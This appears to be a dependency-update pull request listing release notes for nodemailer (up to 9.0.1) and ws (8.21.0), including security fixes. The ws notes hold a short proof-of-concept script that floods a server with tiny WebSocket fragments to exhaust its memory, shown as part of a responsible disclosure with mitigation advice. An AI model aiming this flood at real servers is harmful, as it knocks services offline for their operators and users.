Maintainer changes

This version was pushed to npm by GitHub Actions, a new releaser for mongoose since your current version.

Updates nodemailer from 7.0.13 to 9.0.1

Release notes

Sourced from nodemailer's releases.

v9.0.1

9.0.1 (2026-06-17)

Bug Fixes

• enforce disableFileAccess/disableUrlAccess for raw message option (a82e060)

v9.0.0

9.0.0 (2026-06-14)

⚠ BREAKING CHANGES

• HTTPS requests made while fetching remote content (attachment href/path URLs, OAuth2 token endpoints, HTTP/HTTPS proxy CONNECT) now validate the server's TLS certificate by default. Requests to hosts with self-signed, expired, or hostname-mismatched certificates that previously succeeded will now fail. Opt back out per request with tls.rejectUnauthorized=false (transport options, or a per-attachment tls option).

Bug Fixes

• replace deprecated url.parse with a WHATWG URL wrapper (0c080fb)
• validate TLS certificates by default when fetching remote content (6a947ac)

v8.0.11

8.0.11 (2026-06-10)

Bug Fixes

• apply the transport-level newline option in stream and sendmail transports (cb4f904)
• include icalEvent path/href content in the application/ics attachment (b801c48)
• parse Ethereal response props without polynomial regex backtracking (067aebe)
• resolve oauth2_provision_cb at send time for non-pooled SMTP transports (203c8ec)
• return the promise from every resolveContent branch (07ffe8c)
• strip the url scheme from List-ID header values (77e5885)
• tag AWS SES transport errors with the ESES code (efa647a)

v8.0.10

8.0.10 (2026-05-29)

Bug Fixes

• fall back to lower-severity handler when custom logger lacks a level method (6d849df)

v8.0.9

8.0.9 (2026-05-26)

Bug Fixes

• two pending security advisories (jsonTransport access bypass, List-* CRLF injection) (#1820) (5f69497)

Updates ws from 8.18.3 to 8.21.0

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
